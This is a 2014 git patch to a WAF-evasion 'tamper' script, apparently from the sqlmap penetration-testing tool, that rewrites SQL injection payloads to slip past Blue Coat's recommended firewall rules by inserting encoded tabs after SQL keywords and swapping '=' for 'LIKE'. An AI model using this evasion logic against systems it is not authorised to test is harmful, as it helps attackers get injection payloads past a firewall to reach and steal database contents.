From fa1cfa21e67688c253f5c984fe102337171161ae Mon Sep 17 00:00:00 2001
From: Miroslav Stampar <miroslav.stampar@gmail.com>
Date: Thu, 28 Aug 2014 12:34:15 +0200
Subject: [PATCH] Improvement to BlueCoat's tamper script

---
 tamper/bluecoat.py | 15 ++++++++++++---
 1 file changed, 12 insertions(+), 3 deletions(-)

diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py
index ee7a8f3c5..c80a48c28 100644
--- a/tamper/bluecoat.py
+++ b/tamper/bluecoat.py
@@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission
 
 import re
 
+from lib.core.data import kb
 from lib.core.enums import PRIORITY
 
 __priority__ = PRIORITY.NORMAL
@@ -29,14 +30,22 @@ def tamper(payload, **kwargs):
     Notes:
         * Useful to bypass Blue Coat's recommended WAF rule configuration
 
-    >>> tamper('SELECT id FROM users where id = 1')
-    'SELECT%09id FROM users where id LIKE 1'
+    >>> tamper('SELECT id FROM users WHERE id = 1')
+    'SELECT%09id FROM%09users WHERE%09id LIKE 1'
     """
 
+    def process(match):
+        word = match.group('word')
+        if word.upper() in kb.keywords:
+            return match.group().replace(word, "%s%%09" % word)
+        else:
+            return match.group()
+
     retVal = payload
 
     if payload:
-        retVal = re.sub(r"(?i)(SELECT|UPDATE|INSERT|DELETE)\s+", r"\g<1>%09", payload)
+        retVal = re.sub(r"\b(?P<word>[A-Z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal)
         retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
+        retVal = retVal.replace("%09 ", "%09")
 
     return retVal